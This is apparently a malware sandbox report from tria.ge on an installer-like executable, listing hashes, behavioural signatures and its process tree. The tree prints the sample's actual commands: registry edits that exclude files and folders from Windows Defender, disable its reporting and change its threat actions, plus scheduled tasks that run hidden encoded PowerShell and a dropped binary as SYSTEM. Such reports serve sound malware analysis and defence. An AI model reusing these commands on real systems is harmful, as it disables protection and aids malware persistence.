Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    90s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/01/2023, 17:11

General

  • Target

    file.exe

  • Size

    7.3MB

  • MD5

    585e1fbc9c3b85b0a00667a4242496e7

  • SHA1

    e2178f3875fa63a6748ad2d77ee9ea621c6981a6

  • SHA256

    cb08c15f7a604b71e7714637a7eb734fd5172aaa06e8ad71cdc855e88aa5643a

  • SHA512

    2d9ebeffeaec9c2b113dcc4884c7659dde9efdd3532d6d701b0495acad2eb3724c910027a0b0821ac8e44cc2cecb87e4bc6b6047cccd1820b4131947e72ca18e

  • SSDEEP

    196608:91Oig72fgWjAU/5ErgoDh3PemPPEQf4MEkotsvUWiV:3Oi7tdu93VPPEQf/MWq

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 44 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2504
    • C:\Users\Admin\AppData\Local\Temp\7zS8F93.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:64
      • C:\Users\Admin\AppData\Local\Temp\7zS91F4.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:628
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1472
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5020
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:2160
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:1724
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:224
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1700
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:4016
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:5084
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gyqTXInjR" /SC once /ST 01:40:40 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:4340
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gyqTXInjR"
                  4⤵
                    PID:3400
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gyqTXInjR"
                    4⤵
                      PID:1272
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bOpYYSCMwzPLWKHDoz" /SC once /ST 18:12:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\hvfNVDYxvCzgQiHhW\OomKHAnYBQcvKjU\mNEhyXY.exe\" WN /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:5008
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:4508
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:4732
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                  1⤵
                    PID:4396
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:328
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:4616
                      • C:\Users\Admin\AppData\Local\Temp\hvfNVDYxvCzgQiHhW\OomKHAnYBQcvKjU\mNEhyXY.exe
                        C:\Users\Admin\AppData\Local\Temp\hvfNVDYxvCzgQiHhW\OomKHAnYBQcvKjU\mNEhyXY.exe WN /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:1092
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:3052
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4740
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:1212
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:2652
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:2244
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:2112
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:3960
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:3948
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:3000
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3888
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:4376
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2088
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:5028
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:3936
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:4436
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:1724
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:5020
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:3720
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4992
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:208
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:2708
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:4192
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:224
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:448
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:4408
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:5088
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AuXcnpONU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AuXcnpONU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUOXbSmazbUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUOXbSmazbUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hDIhVTokUCGYfCBroAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hDIhVTokUCGYfCBroAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lWVaGBLuxBBU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lWVaGBLuxBBU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lhYzWsVecTGPC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\lhYzWsVecTGPC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fHwbcuUAwGaxxLVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fHwbcuUAwGaxxLVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\hvfNVDYxvCzgQiHhW\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\hvfNVDYxvCzgQiHhW\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\cvZcJATGqkXfIUHO\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\cvZcJATGqkXfIUHO\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:4452
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AuXcnpONU" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:4220
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AuXcnpONU" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:1120
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AuXcnpONU" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:3416
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUOXbSmazbUn" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:868
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUOXbSmazbUn" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:376
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hDIhVTokUCGYfCBroAR" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:3768
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hDIhVTokUCGYfCBroAR" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:3396
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lWVaGBLuxBBU2" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:4880
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lWVaGBLuxBBU2" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:3156
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lhYzWsVecTGPC" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:4324
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\lhYzWsVecTGPC" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:1428
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fHwbcuUAwGaxxLVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4276
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fHwbcuUAwGaxxLVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3728
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\hvfNVDYxvCzgQiHhW /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4824
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\hvfNVDYxvCzgQiHhW /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1508
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\cvZcJATGqkXfIUHO /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:4968
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\cvZcJATGqkXfIUHO /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:1644
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "guvwDtwAw" /SC once /ST 16:00:10 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:4652
